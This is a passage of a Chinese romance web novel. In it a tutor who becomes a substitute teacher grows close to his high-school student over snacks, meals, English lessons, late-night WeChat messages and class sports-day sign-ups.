简渲站在摊子前，看了很久，最后还是拿起一包小学的时候最想吃却从来没有说出口要的辣条。
简渲举着辣条转身，开口：“就这个......”
简渲嘴边的话突然停住。
此时站在他面前的裴渐两只手都拿满了各种各样的辣条，都是好几年前流行的。
“给我省钱呢？”裴渐弯了弯唇，拿起简渲手里的辣条，一起放在收银台上，“婆婆，您看看一共多少钱。”
简渲趁着老婆婆数包数的时候戳了戳裴渐，用只有两人能听见的音量问道：“你什么时候拿的？”<
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p>裴渐指了指另一个角落，也小声说道：“那也有，你没看见。”
简渲这才发现在他的视线死区也有一个小摊。
在简渲和裴渐说悄悄话的间隙，老婆婆已经数好了辣条包数，她用塑料袋装了起来，递到两人面前，说道：“一共三十四。”
裴渐点点头，从兜里拿出一张整百的钱，递到老婆婆面前：“婆婆，现金。”
婆婆接过现金，“我算算补你多少啊。”
说着就要去掏自己放在高处柜子上的计算器。
“六十六。”简渲说道。
婆婆很利索，转身就找起了零钱。
在老婆婆找零钱的时候，简渲突然开口，“婆婆，您多少岁了？”
“七十啊，老伴也走了，儿女也都在外面打工，现在最大的乐趣就是看着一群小孩子来我店里蹦蹦跳跳了。”明明简渲只问了一个问题，老婆婆却回答了很多。
像是很久没有找到人说话了。
简渲眉眼弯着，轻声说道：“我奶奶也七十了，您要照顾好自己。”
裴渐视线落在简渲身上。
“七十了，也不行了，说不定那天就睡不醒了，现在身上的病也多，”老婆婆没那么注重生死，但是听见简渲的话，还是笑着道谢，“谢谢你啊小朋友，你奶奶肯定会长命百岁的。”
“嗯，婆婆再见。”
直到和简渲走出有些潮湿的小巷，裴渐才把手中拎着的辣条放在简渲面前，“吃吧。”
简渲抬头，手伸进袋子里，拿出自己一开始选的那包辣条，撕开包装，然后对裴渐说道：“老年人都很多病的。”
裴渐看了简渲一眼，问道：“你奶奶身体也生病了？”
简渲摇摇头，咬了一口辣条，然后说道：“她不去检查，说浪费钱，我现在在攒钱带她去看病。”
裴渐低声说道：“还是要去看的。”
“嗯，”简渲眼睛亮了亮，尾音带着他自己都察觉不到的高兴，“再存五百块，就够了。”
市里最好的医院，全身检查要五千。
再打半个月工，就够了。
裴渐望着男生的眼睛，现在简渲的表情和那天抓娃娃的时候很像，都是藏不住的高兴。
“好，到时候就可以带奶奶去检查身体了。”裴渐揉了揉简渲的头。
他好像根本没察觉简渲的话语里没有提及一句他的父母。
又或者说，不想再触及男生开启防御模式的开关。
简渲拿的这包辣条分量不是很多，很快他就吃完了，剩下最后几根，简渲挤了挤，递到裴渐唇边，“你光看我吃干嘛？”
裴渐盯着简渲递过来的辣条，张了张唇，似乎想说些什么，但还是没说出口。
只是顺着男生把辣条往他嘴边靠的动作，将辣条咬进了嘴里。
简渲抬眸看着裴渐，见男人将口中的辣条咀嚼完，才开口：“走吧？下午继续给我讲英语。”
没听到裴渐的回答，得到的是唇角轻轻的触摸。
裴渐伸手擦过简渲的唇角，见男生睁大眼睛看着自己，开口解释道：“有辣椒。”
简渲闻言，舔了舔唇角，然后抬头看着裴渐，问道：“这下没有了吧？”
这下轮到裴渐愣在原地了。
18.第 18 章
裴渐愣了几秒，直到看见简渲的眼神变得疑惑起来，他才开口：“没有了。”
只是声音有点低。
简渲点点头，从裴渐手里拿过装着辣条的塑料袋，打开车门坐上副驾驶。
见裴渐还站在原地没有动，简渲把脑袋探到车门外，说道：“你怎么不动？”
裴渐回神，视线落在简渲舔过的唇角上，很快就挪开，“来了。”
回到图书馆的时候已经中午十二点了，裴渐看了眼时间，停下开车门的动作，侧头看着简渲，问道：“饿了吗？”
简渲摇摇头，“不饿。”
裴渐颔首，对简渲说道：“你先别下车。”
然后就自己下车了。
直到裴渐的身影在车窗外消失，简渲推了推自己这侧的车门，才发现车门已经被裴渐锁住了。
简渲没事干，只好盯着窗外看。
没过多久，简渲就听见自己的左侧传来了开门声，他扭头看了过去，就看见裴渐手里拎着一袋东西。
裴渐坐上座椅，打开袋子，把里面的东西都放在仪表台上。
里面的东西都用看不见的小盒子装着，简渲问道：“你买的什么？”
裴渐把盒子的盖子打开，露出里面的食物，闻言回答到：“烤鸭。”
话音刚落，裴渐就从小袋子里拿出一大摞卷饼。
“吃点。”裴渐打开覆在卷饼上的膜，撕下薄薄的一块，涂上酱料，把片好的烤鸭放在卷饼上，黄瓜丝和葱丝放在上面，卷在了一起，递到简渲嘴边。
卷饼还是热的，裴渐放在简渲唇边的时候简渲甚至能察觉到卷饼散发出的热气。
简渲下意识就着裴渐递过来的手咬了一口。
简渲咬完以后就从裴渐手里接了过来。
他一口咬的有点多，脸颊都鼓了，男生手里还拿着剩下的一半，裴渐给自己也卷了一个。
见男生把手里的一个吃完，裴渐才偏头问道：”好吃吗？”
简渲眼睛亮亮的，视线还特别小心翼翼地落在卷饼上，听见裴渐这么问，他点了点头，回答道：“好吃。”
裴渐把自己手里的吃完，又顺手给简渲卷了一个。
简渲接过裴渐给自己递来的烤鸭，咬在嘴里，含含糊糊地说道：“我自己会。”
裴渐将自己的吃完，然后又卷了一个递到简渲手边，说道：“免得浪费时间，你吃吧。”
简渲把裴渐给自己卷的叼在嘴里，伸手撕下薄饼，有模有样地学着裴渐的模样卷了一个，然后递到裴渐手心。
裴渐低头看着自己手心热气腾腾的饼，简渲不仅料放的多，酱也放的很多，好像生怕自己饿死一样。
“你不吃吗？”简渲盯着裴渐的掌心。
裴渐咬了一口，饼倒是没尝到，进嘴里的几乎都是烤鸭和黄瓜丝。
“简渲，你以后考虑去摆摊吗？”裴渐突然问道。
简渲有些迷糊，但他还是摇了摇头，“你问这个干嘛？”
“我怕你以后去摆小吃摊，就赚一点钱还把料放这么多。”裴渐说道。
简渲不知道裴渐的脑回路是怎么想到这个层面的，但他还是说道：“我还要考大学呢。”
裴渐看了他一眼，开口，“想考什么大学？”
简渲沉默了一下，说道：“华京大学。”
裴渐似乎不觉得有什么不对，只是说道：“怎么老是当我学弟啊？”
像是对男生能考上华京大学很有信心一样。
“你现在没工作吗？”简渲问道。
裴渐被简渲这么一问，才发觉自己似乎在简渲眼里是无业游民。
他只好开口解释道：“我爸是开游戏公司的，如果没问题的话，大概明年等我玩够了我就去我爸公司当设计师。”
简渲这才知道裴渐是商二代。
“你不是玩游戏吗？应该知道我爸旗下的游戏产品吧？”裴渐说完，就随口说了一个游戏名字。
简渲根本没玩过游戏，甚至于他都不关心现在有什么游戏，对于他来说，简渲对游戏的记忆还停留在给小人换装。
但谎已经撒出去了，简渲不可能说自己不知道。
于是简渲只好点点头，“知道。”
“还吃吗？”裴渐也不再围绕游戏这个话题继续聊天，自从上次吃完烧烤，他对简渲的饭量已经有了大致的了解，烤鸭也只买了一半。
简渲松了一口气，他揉了揉肚子，已经有些撑了，“不吃了。”
“行，那你等会，我吃完就下车。”裴渐拿起已经有些冷掉的卷饼，开始吃了起来。
几分钟后，裴渐把空着的盒子都收起来扔进了袋子里，对简渲说道：“下车吧。”
简渲点点头。
两人重新回到图书馆，裴渐把上午还没写完的试卷拿了出来，放在简渲面前，“做吧。”
简渲看着裴渐把手机上的计时调到十分钟，他低头做了起来。
流程几乎和上午一样，简渲做完题以后裴渐再也他讲，然后写英汉互译。
不知不觉一下午就过去了。
裴渐合上电脑，今天对简渲摄入的知识的了解已经足够了，他这个PPT还有一点问题，今晚回去以后还要再改一下。
他抬头看了眼外面的天色，已经有些暗了，“今天就到这里吧。”
简渲把试卷折了起来，问道：“我能把试卷带回去吗？”
裴渐失笑，说道：“本来就是给你准备的，你带回去复习不正常吗？”
简渲点头，把试卷收了起来，然后就起身跟着裴渐往图书馆外走。
裴渐这次一手拎着笔记本，一手拿着文件夹。
简渲盯着裴渐的手看了很久，犹豫了几秒，最后还是用手指夹住了裴渐的衣角。
他似乎已经习惯裴渐拉着他的手了。
裴渐察觉到身后有股力扯着自己，他低着头看了一眼，眼里带上了笑，不过也没有说什么，只是把文件夹换了一只手拿，然后拉住了简渲的手腕。
“走吧？”裴渐回头看着停在自己身后的简渲。
简渲似乎也觉得自己有点黏糊，自从上午和裴渐吵了一架他就觉得自己内心对裴渐的态度有点不一样了。
他低着头也不看裴渐，只是耳根有些红，“你问我干嘛？走呗。”
裴渐低低笑了起来，传到简渲耳里，简渲没说话，只是耳根更红了。
简渲不敢说的是，他已经习惯了裴渐拉着自己的手腕走路。
等回到网吧门口的时候天已经沉了下去，简渲开了开车门，却没打开。
他侧身看了裴渐一眼，疑惑道：“你要把我锁里面啊？”
裴渐手指敲着方向盘，最后还是问出了困扰他很久的问题：“你打算什么时候告诉我你住哪？每天把车停在这让你走回家不麻烦吗？”
简渲摇摇头，“不麻烦啊，我家离这很近的，”
他这次没撒谎，他“家”确实离这里很近。
裴渐皱着眉，似乎还想说些什么，只是最后还是没有说出口，“
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好吧，再见。”
他也不敢多问，裴渐现在最怕的就是像上午一样把简渲惹哭。
看见简渲哭的时候裴渐内心的感受是不一样的，和他弟不一样，他弟哭起来他只觉得烦人。
简渲哭起来，他只是心疼。
似乎又回到了那天晚上。
车门打开，简渲下了车。
“等会。”裴渐突然开口，喊住打算离开的简渲。
简渲顿住脚步，回头问道：“怎么了？”
裴渐晃了晃手里透明的塑料袋，“不要辣条了吗？”
简渲摇摇头，“不用了，你吃吧，后面上学了也没时间吃，我也就过个嘴瘾。”
裴渐也不强求他，“行吧。”
简渲回到网吧，网吧老板看见简渲回来，问道：“今天有事么？一整天没看见你。”
简渲点点头，举起手里折好的两张试卷，对网吧老板说道：“我今天去补习英语了。”
网吧老板隔着前台的桌子揉了揉简渲的头，在印象里搜索了一下，问道：“找的你班主任的儿子补的？”
”您怎么知道的？”简渲问道。
网吧老板笑了笑，“你最近和我说过的只有他了，我当然只能猜他了。”
简渲“哦”了一声，又说道：“今天我帮忙吧。”
网吧老板看了眼简渲积极的神色，也没拦着简渲，“行吧，今天也学累了吧？”
简渲晃晃脑袋，“还好，能接受。”
“那就行，别累着了。”网吧老板再次揉了揉简渲的脑袋。
等到快十二点的时候，简渲刚刚给一个机位送过去方便面，就被网吧老板以要早点休息好好学习为由推回了房间。
简渲回到房间，把那两张布满批注的试卷放进书包里，然后拿出手机准备给裴渐发微信。
视线落在备注上，简渲思索了一下，指尖点进了裴渐的头像。
【duvet：今天谢谢你。】
【哥哥：谢什么？不是给补习费吗，等你高考完一起给我吧，先存钱给你奶奶检查身体。】
简渲目光不受控制地落在那个备注上，又觉得自己有些矫情，指尖动了动，还是惹住了。
【duvet：好。】
【哥哥：嗯，晚安。】
【duvet：晚安哥。】
半夜，简渲从睡梦中惊醒，他兀地的一下从床上坐了起来。
他梦见裴渐了。
梦里裴渐一直缠着他，把他关在黑屋子里，要自己喊他哥哥，不喊到一百声就不放自己出去。
简渲揉了揉眼睛，还没分清现在是现实还是梦境。
他只知道他现在很讨厌裴渐。
于是简渲拿起放在床头的手机，打开微信，点进和裴渐的聊天框。
然后狠狠点了裴渐的头像。
手却滑了一下，变成连点了两下。
于是屏幕上出现两行字。
【凌晨2：34】
【我拍了拍“哥哥”的小猫】
简渲愣住，此刻才彻底清醒，知道自己不是在做梦了。
昏暗的环境，只有手机屏幕的光亮，更照的简渲像索命的亡魂，他连忙想撤回刚才的拍一拍。
但比亡魂更可怕的是，裴渐现在没有睡。
简渲还没来得及撤回，手里的手机就震动了两下，他呆呆地低头看去。
【哥哥：没睡？】
【哥哥：拍自己干嘛？】
简渲的耳朵在刹那爆红。
19.第 19 章
他握着手机的手彻底松开，冰冷的机身滑落到散发着热气的被窝上，简渲捂上了快要烫熟的耳朵。
他拍了拍自己去点裴渐微信头像的那只手，懊恼地张了张唇。
明明都起来了，简渲还以为自己在做梦。
可惜手机那头的裴渐不知道简渲的心里想法，于是简渲就看着雪白的手机屏幕上又弹出来几条裴渐的消息。
简渲有些泛红的指尖捏起了软软陷在被窝上的手机，刚拿起来，手就被机身冰得抖了一下。
他没有首先去看裴渐的消息，而是看着顶端的备注。
这次简渲冷静了下来，他点开备注为【哥哥】旁边的三个点，然后点进裴渐的头像。
等给裴渐改完备注，简渲才退回聊天界面。
【裴渐：我逗你的。】
【裴渐：怎么不说话了？】
【裴渐：又手滑了】
虽然可能不是裴渐想象的那个手滑，但在某种意义上，裴渐也猜对了。
简渲低着头，手机的亮光在昏暗的环境里有些刺眼，他快速眨了眨，然后在屏幕上点下几个字母。
【duvet：睡了，然后又睡醒了。】
【duvet：手滑按到了，你没睡？】
简渲自认为他转移话题的技艺已经很娴熟了，但没想到裴渐压根不吃他这一套。
【裴渐：睡醒了干嘛点开我聊的聊天记录？还拍拍我。】
简渲“啪”的一下把手机反盖在被子上。
被裴渐这么一问，他似乎又回到了那个梦里。
梦里的裴渐特别坏，高考结束以后他准备给裴渐支付一整个高三的补习费，结果裴渐说自己不缺这点钱。
于是简渲就问裴渐不要钱那要什么。
裴渐就说要自己喊他一百声哥哥。
然后就简渲就被吓醒了。
手里的手机震动了一下，简渲揉了揉脸，拿起来看了一眼。
【裴渐：又睡了？】
【裴渐：行吧，晚安。】
简渲顺着裴渐的话下了台阶，也不再回话了，而是重新把手机熄屏，躺回了床里。
另一边。
裴渐看着对面一直显示的“对方正在输入中”，在一分钟后又变回了简渲的微信名。
他弯着唇笑了笑，轻轻点了一下简渲的头像，把男生的备注改成了【简小渲】。
然后再退出修改备注的界面，滑到今天的第一条消息上。
【简小渲拍了拍“你”的小猫】
裴渐下意识截了一张图，等他反应过来的时候图片已经自动保存进了相册里。
最后他还是没有删掉，而是抱起了躺在自己脚边睡觉的咪咪，修长的手指摸上了猫头。
咪咪原本睡着了，被男人的动作弄醒，不满地喵呜了一声。
裴渐顺了顺猫毛，男人含着笑的声音在空荡荡的卧室里响起，“替别人拍拍我的小猫。”
咪咪趴在裴渐腿上，在空中踩了几下奶，然后就把小爪子放在了下巴下面，趴着睡着了。
裴渐没有再玩弄小猫，他坐在书桌上，重新把视线落回在电脑上，右手放在鼠标上滑了几下，最后滑到PPT的第一页。
上面写着六个字。
【英语提升计划】
后面还附着着密密麻麻的排表和计划。
显然，是给简渲准备的。
裴渐取下戴在眼睛上一整天的眼镜，退出编辑软件，将电脑关机。
他看了一眼手机上的时间。
2：35
简渲应该又睡着了。
裴渐起身把白日里买的辣条从书桌上拎起，走到书桌边的小架子上。
小架子很新，几乎没有落下什么灰，如果简渲在这，大概能发现小架子上还摆满了娃娃，都是那晚他和裴渐一起去电玩城的时候抓的。
裴渐把袋子扔进垃圾桶里，剩下的辣条都整整齐齐地码好放在小架子上。
第二天，简渲卡着时间到了学校，周一的早自习是英语。
简渲坐在自己的座位上，把早餐放在孟凯桌子里，一抬头，就又和高表笑眯眯的大脸对视上了。
高表揉了揉简渲的脑袋，笑眯眯地问道：“今天英语单词听写上周小测试卷上的，你记住了吗？”
简渲觉得高表虽然在笑，但是内心肯定是恶魔笑容。
阴森森的。
想起昨天裴渐给自己做的第一套题，简渲比较保守地对高表说道：“应该能对一半。”
高表虽然不是特别相信，但还是拍拍简渲的肩膀：“行，我等会第一个改你的。”
教室里已经有很多人了，简渲和高表交流的音量并不是很低，大部分人几乎都听到了。
他们都对简渲的英语成绩有些清楚，自然不觉得简渲能对一半。
当然，也只是心里觉得，不可能在心里说。
毕竟大部分人在那天的篮球赛，都看见了是简渲扔的石头在秦文楼脚下，只不过秦文楼平时太过招摇，很多人都看不惯他，也没有说。
这也从侧面说明，简渲不是什么软柿子。
很快英语早自习就开始了，早自习前同学们就从高表口中亲耳听到要听写小测试卷上的单词，也提前准备了起来。
高表坐在讲台上，给讲台下的小豆丁十分钟的记背时间，等十分钟一到，高表就拍了拍讲台，拿起平放在讲台上的试卷，“开始听写了啊，把卷子都收起来。”
简渲把试卷收了起来，掏出放在桌肚里的英语本。
过了五分钟后，高表听写完了，简渲看着自己写的满满当当的单词，头一回觉得自己这么有英语天赋。
高表没急着收其他人的英语听写，而是径直走到简渲身边，看着简渲写完的英语单词，明明上半部分还是简渲不是错的就是空着的单词，这次却写完了。
他从简渲桌子上抽了只红笔，就地站着批改了起来，过了几秒，他欣慰地“嗯”了一声，把本子反盖在简渲桌上，说道：“还可以啊简渲同学，这周抱佛脚去了？还真对了一半。”
然后就从简渲的座位上挪开了，走到英语课代表身边让把其他人的听写本收起来。
孟凯在听见高表说简渲对了一半的时候惊讶地嘴巴可以塞下一个鸡蛋，他连忙把简渲的英语本翻正，目光落在简渲今天的听写上。
然后又“靠”了一声，直到有人看向了他，孟凯才反应过来他的反应太过了。
毕竟对于其他人来说，简渲也只对了一半，虽然不可思议
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，但也没什么可震惊的。
但在孟凯眼里，简渲的英语本上分明是一个巨大的红色对勾。
这次听写，简渲分明是全对。
简渲也看见自己本子上的对勾，不过他没有露出什么惊讶的神情，只是拍了拍孟凯的手臂，声音不低，足够周围刚刚看向孟凯的人听清：“过了啊。”
简渲自然知道老彪是什么意思，很快孟凯也反应了过来，扬着笑说道：“我就是没想到你突然进步了嘛。”
然后就把脑袋凑到简渲身边，用只有两人的能听见的声音说道：“你怎么全对啊？”
简渲也没瞒着他，低声回道：“记得裴渐吗？”
孟凯点点头，“他教的你吗？”
简渲轻轻嗯了一声。
孟凯这时才不觉得惊讶，“怪不得。”
简渲看了他一眼，开口：“为什么是他就觉得怪不得了？”
“他高中给别人补习，好像是他同桌吧？把他同桌110分卡在瓶颈的英语提到了130，后面他同桌和他一起考上了京大，高一开学典礼的时候校长不是说过吗？你忘了啊？”孟凯叽里咕噜说了一大串。
简渲当然不知道，因为他高一刚开学的时候根本没来学校。
但他也没说，只是含糊回答了一句：“记不清了，都几年前了。”
两人没聊多久，早自习就结束了，于婉婷在高表刚出去的时候就走了进来，阻止了想趁着早自习结束去食堂吃早饭的同学的脚步。
“昨天年级开会定的，九月二十五号一模，二十七号考完，考完以后休息一天开运动会，开完就放国庆，”于婉婷说道，将手里的表放在讲台上，“等会把这个表给体育委员，运动会项目报名，最后一天的晚会节目表演参演人员文艺委员选。”
没人关注一模还是运动会，只有一个胆子比较大的男生问道：“于老师，国庆放几天啊？”
“不知道，别问我，反正别想着放七天就可以了，好好准备一模。”于婉婷留下最后一句就走了。
于婉婷一走，简渲就拿出手机，把早上的听写本拍了张照片发给裴渐。
【duvet：（图片）】
【duvet：我今天听写全对！】
简渲没想着裴渐回他，但裴渐就是秒回了。
【裴渐：这么厉害啊，好棒啊小同学。】
简渲看了眼时间，七点半。
不知道裴渐怎么醒这么早，但他还是继续回复了裴渐的消息。
【duvet：因为英语老师听写的昨天你给我讲的第一篇阅读的单词，也就是那天小测上的。】
【duvet：你今天怎么醒这么早？】
裴渐倚靠在浴室门口，头发湿漉漉，嘴里还叼着牙刷，单手拿着手机，看见简渲第二条消息的时候一下呛住了。
脚边是被他大清早的动静吵醒的猫，咪咪围着裴渐打圈，又突然哆嗦了一下，飞快跑回了自己暖和的窝里。
裴渐手指僵住，最后还是没有骗简渲。
【PJ：做梦了。】
【duvet：噩梦吗？】
【PJ：......不是。】
他确实没有骗简渲。
只是他梦见简渲在他梦里哭了。
20.第 20 章
裴渐拿着手机，单手把放在洗手台上的毛巾拿起起来，搭在头上。
梦里的触感似乎还没有消失，裴渐揉了揉指腹，还没等他多想，简渲的消息就又发了过来。
【简小渲：在床头挂一个捕梦网会好一点。】
裴渐失笑，想说自己做的又不是噩梦，可是又不知道该怎么和简渲说，只好回道。
【PJ：真的有用吗？】
【简小渲：没用啊，心理安慰。】
【PJ：好吧，可是我做的不是噩梦，应该也起不到心理安慰。】
【简小渲：美梦会吓醒你吗？除了噩梦还有什么啊？】
裴渐见简渲想打破砂锅问到底，也只好实话实说。
【PJ：你是不是不知道，有一种梦，是你们这种青春期少年最常做的。】
【简小渲：？】
简渲看着裴渐发来的消息满头问号，他哪知道青春期少年最常做什么梦，又不是课本知识。
桌边响起手指敲打的声音，简渲没急着抬头，快速给裴渐发过去一个问号以后才把脑袋抬起来。
一抬眼，就看见秦文楼那张小人得志的嘴脸。
简渲不知道秦文楼什么时候回的学校，他也没心情和这种人多出交集，问道：“干嘛？”
秦文楼拿着笔和一张背面是空白的纸张，嗤笑了一声：“你没听见于老师说体育委员负责运动会报名吗？你不报一个吗？”
简渲皱了皱眉，没有回答秦文楼的话，而是转头盯着孟凯，很认真地询问：“他是体育委员？”
语气真的很认真，不像是假的。
孟凯没憋住笑，嘴角的笑容根本压不住，他捂着肚子趴在桌上，费尽力气用气音回答简渲：“他都当了一年体育委员了，你不知道啊？”
得到准确的回复，简渲再次很认真地望向秦文楼，说道：“抱歉，对你确实没有什么印象。”
秦文楼差点没憋住这股气，站在他身后的小弟戳了戳他的手臂，他才想起来那天落在他脸上的拳头。
他也只能咬咬牙，回答道：“没事，毕竟您时间忙，怎么会关注我呢。”
明明是阴阳怪气，简渲却很正经地说了一声“嗯”，最后还附上一句你理解就好。
秦文楼气的不行，又不能拿简渲怎么样，他只能把手中的表格狠狠拍到简渲桌上，说道：“其他项目都报完了，只有三千米了，现在全班男生只有你没报。”
就在一旁的孟凯看出来了秦文楼就是在针对简渲，分明是他拉着小团体决定把三千米最难的项目留给了简渲。
他看了看简渲的小身板，忍不住开口：”我也没报啊？你怎么就找小渲啊？”
秦文楼扫视了他一眼，说道：“你能跑三千？”
孟凯刚想说别瞧不起胖子，就被简渲按住了手。
简渲朝他使了一个眼神，示意孟凯不要冲动，就坐在板凳上拿起了放在自己桌上的表格，把表格上空着的项目都一一念了出来：“男子跳高，男子三千米，男子两百米。”
秦文楼眼皮跳了跳，有种不好的预感，但他没在意，而是说道：“除了三千米其他都有预留了，你......”
话还没说完，就被简渲打断了，“我不是在选，我的意思是我全报了。”
简渲没给秦文楼说话的时间，拿起自己的笔，在项目的空格上填上了自己的名字。
男生的字很飘逸，一笔一笔都连在一起，但就是莫名符合简渲。
简渲把表格缓缓塞进秦文楼僵住的指尖中，漫不经心地说道：“愣着干嘛？交给老师啊？”
秦文楼没想到简渲能这么装，身后都是班上同学的议论，他甚至听到了他喜欢的女生的声音，都在说简渲好帅。
他不知道这有什么帅的，说不定就是逞能，他倒要看简渲能不能三项第一。
等填完表格就已经上课了，简渲没时间看裴渐回了他什么，把手机收了起来。
等到上午的课结束，简渲才把手机拿出来看裴渐回了他什么。
【裴渐：你没做过么？】
【裴渐：chun梦。】
裴渐没有打汉字，但简渲确实看懂了，他没想到裴渐说的梦是这种梦。
一瞬间，羞赧的情绪占据了他的大脑，以至于他没有发现在他趴在桌子低头看消息的时候四周黑了下来。
他没回裴渐的消息，慌忙把手机往书包里面放，试图装作自己没有看见这条消息，中途手背还在桌子的铁片上轻刮了一下。
简渲“嘶”了一声，刚想看看手有没有破皮，就听见此刻他最不想听到的声音想起：“手怎么了？”
是裴渐。
简渲停下抬头的动作，重新把脑袋黏在桌子上，发出“咚”的一声。
裴渐哑然，他拿起简渲放在腿上的手，看了一眼，“没有破皮，只是有点红。”
简渲安安静静地，安静地裴渐以为自己现在看见的简渲是个假人。
如果不是简渲把放在自己掌心的手抽走的话。
手心也空了下来，裴渐觉得这种情况很像那天简渲知道自己是他班主任的儿子的时候。
“怎么又不理我了？”裴渐问道。
简渲闷闷地声音响起：“你不害臊吗？”
裴渐立马反应过来简渲说的是早晨自己发出去的消息，他失笑，只能说道：“这是人正常的生理情况，你没有做过这种梦吗？”
简渲头微微抬起来了一点，左右，摇晃了一下。
“行，你是乖孩子，我以后不说了，”裴渐笑了一下，把简渲拉了起来，又问道，“你不吃饭？”
然后就拉着简渲从教室里往外走。
简渲跟着裴渐走到门外，突然想起来此刻裴渐不应该出现在学校，他停下脚步。
感觉到身后的人停下了脚步，裴渐也听了下来，回头看着简渲，“怎么了？”
“你怎么来学校了？保安不拦着你吗？”简渲开口。
裴渐从兜里拿出一个牌子，在简渲眼前晃了晃，说道：“我现在是你们班的代课老师，代理班主任。”
简渲缓缓扣出一个问号，“于老师呢？她早上不是还在学校吗？”
裴渐沉默了一下说道：“我妈想出去吃早饭，结果开车的时候被车撞了，手骨折了，医生说得修养一个月。”
简渲没着急问裴渐怎么会成为代课老师，而是先问道：“那你妈妈现在还好吗？”
“还好，我爸陪着呢，轻微骨折，还好。”裴渐说道。
然后他看着简渲的神色，就明白男生想问些什么了，于是说道：“很好奇我怎么会成为你们班
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的代课老师啊？”
简渲点点头，连带着蓬松的头发也跟着晃了一下。
裴渐笑着解释道：“大学的时候无聊，把初中和高中的教师资格证都考了，我妈和学校申请的让我来代课，学校肯定同意啊。”
想起孟凯口中那些关于裴渐的传闻，简渲似乎也觉得再正常不过。
“你不是要当游戏设计师吗？”简渲问道。
裴渐看了眼时间，拉起简渲的手腕楼梯口走，只是边走边说道：“多一样技艺附身而已，而且我也不定当游戏设计师吧，只是目前的计划而已。”
简渲“哦”了一声，也不再说话了，跟着裴渐往食堂走。
这次简渲和裴渐吃饭的动作快了很多，大概是裴渐对简渲的胃口有了了解，两人回教室的时候里面还没人。
简渲坐在自己的座位上，然后就看见裴渐非常自来熟地坐在了自己的旁边。
“你不去办公室待着，在我这待着干嘛？”简渲说道。
裴渐双手叠在桌子上，把脸趴了上去，也回道：“办公室又没人，我和那些老师又有代沟，还不如找你聊天。”
简渲似乎想到了什么，说道：“那我和你去办公室吧，我不想别人知道我们认识。”
裴渐自然猜到了简讯顾虑，他没什么看法，只是说道：“我听我妈说你同桌在给你补习英语，你把他补习的方法和笔记都给我看看。”
简渲应了声好，从桌子里拿出一本笔记，然后就起身跟裴渐去了办公室。
办公室确实没人，只有简渲和裴渐两个人，简渲也没了什么包袱，坐在了裴渐的座位上。
裴渐没说什么，就坐在简渲旁边，拿过了简渲的笔记本，然后对简渲说道：“抽屉里有这周给你准备的题，是作文和短语填空。”
简渲听话地从抽屉里拿了出来，对裴渐说道：“现在做吗？”
裴渐愣住。
反应过来自己想成什么以后他啧了一声，似乎对自己很不满。
但落在简渲眼里，就是裴渐不想让自己现在做。
“不做就是了嘛，你啧什么啧。”简渲说道。
裴渐低声解释道：“不是那个意思，我想到其他事了。”
他看了眼时间，补充道：“离午休只有十分钟了，批改肯定是来不及的，你先做吧，如果你中午不睡觉就继续做，晚自习我给你改，我先看看你同桌给你的笔记。”
“好。”简渲也不再说什么了。
裴渐打开简渲给他的笔记本，翻阅了起来，抛开是否适合简渲不谈，这份笔记确实很好，很适合英语初学者，只是不适合简渲这种脑回路的。
他看了眼笔记本上的字迹，秀丽工整，不像是大部分男生写出来的字迹。
裴渐翻到第一页，没有名字，只有一点点刻痕，他看了很久才看出来个所以然。
“你同桌叫什么？”裴渐突然问道。
简渲揉了揉手指，回道：“孟凯啊，怎么了？”
“这个是他给你的吗？”裴渐又说道。
“对，他说是他姐姐读高三的时候写的。”简渲老实回答。
“没事了，你继续做吧。”裴渐把本子合上。
这个本子的归属者叫宁蓓。
他妈妈今天刚好告诉他，班上的班长叫宁蓓。
21.第 21 章
简渲咬着笔杆，指尖在作文部分滑来滑去，抬眼盯着裴渐：“我不会。”
裴渐把手中的笔记本推回到简渲手边，看了眼男生焉巴的神色，轻笑了一声，问道：“哪里不会。”
简渲被裴渐这么一问，也没劲了，一下趴在桌上，嘟囔道：“你知道我都不会。”
裴渐又笑了起来，他抽出被简渲手臂压着的卷子，看了眼作文部分，简渲圈了很多地方，把作文的关键词都圈了出来，大概是真的不会单词了。
”怎么不写短语填空？”裴渐翻到第一面，看着上面的空白问道。
简渲把脑袋埋在胳膊里，声音闷闷地，“我单词都不认识，更别说变型了，什么过去时现在时进行时我都不会变啊，什么去e加ing什么被动的什么形容词副词。”
“你至少还知道有这些对吧，这几篇都是选的周末你做的阅读理解的原文，稍微改动了一下，你应该会做，作文的话你就随便写，到时候我看看你的具体水平。”裴渐把试卷重新放回到简渲面前。
简渲把脑袋从胳膊里抬起来，眨了眨眼睛，看向裴渐，“真的吗？”
裴渐弯了弯唇，笑了起来，“骗你干嘛？”
简渲拿起卷子大致扫了一眼前面的短语填空，“我会做欸！”
裴渐拿起手机看了一眼时间，对简渲说道：“你先回教室吧，还有两分钟就午休了。”
简渲拿起卷子，折起来放在兜里，回答道：“那我就先走了。”
“好，”裴渐拿起从简渲在开始就响个不停的手机，皱着眉打开。
【江概：我怎么在南附看见你了？最近还有什么类似回校演讲的活动吗？】
【PJ：我妈有事，我代课一个月。】
【江概：你有教资？】
【PJ：大学无聊考过，你怎么知道我在南附？】
【江概：我在南附见习啊，跟着高一的老师，我没和你说过？】
裴渐仔细想了一下，似乎江概在暑假刚开始的时候提过，只不过他记不清了。
【PJ：想起来了。】
【江概：你现在一个人住吗？】
【PJ：问这个干嘛？】
【江概：好久没见了，我带点烧烤去你家吃。】
【PJ：为什么不去你家？】
【江概：哎呀，我女朋友不让我把烧烤带回家吃，借个地呗。】
【PJ：行。】
裴渐回完消息，午休铃声就响了起来，他从座椅上站起身，往办公室门外走去。
简渲回到教室以后就开始做起了裴渐的卷子，没做多久，教室前面就开始吵了起来。
“我刚刚看见一个特帅的男的往我们教室这边走过来！”说话的是一个差点迟到的男生。
有个女生顺着他的话问道：“有多帅啊？”
简渲知道他们说的是裴渐，他没什么反应，继续埋着头写卷子。
“宇宙无敌霹雳爆炸帅！”男生说道。
话音刚落，教室门就被打开了，一个含着笑的声音在门口响起：“同学，麻烦让个道。”
简渲看向裴渐，就发现裴渐在外面套了一件黑色西装，装装的，明明中午和自己吃饭的时候还穿的短袖。
整个教室都安静了下来，只有时不时响起的吸气声，一开始说话的那个男生胆子比较大，直接站在裴渐面前问他：“帅哥，你来我们班干嘛？”
裴渐没回答他的问题，只是说道：“等你回自己位置我再说，小同学，不然你很不尊重我欸。”
男生只有悻悻地回了自己的位置。
裴渐走到讲台上，在黑板上写下他的名字，然后说道：“你们班主任有事，我来代课一个月。”
“哥，你名字好熟悉啊。”那个男生又说道。
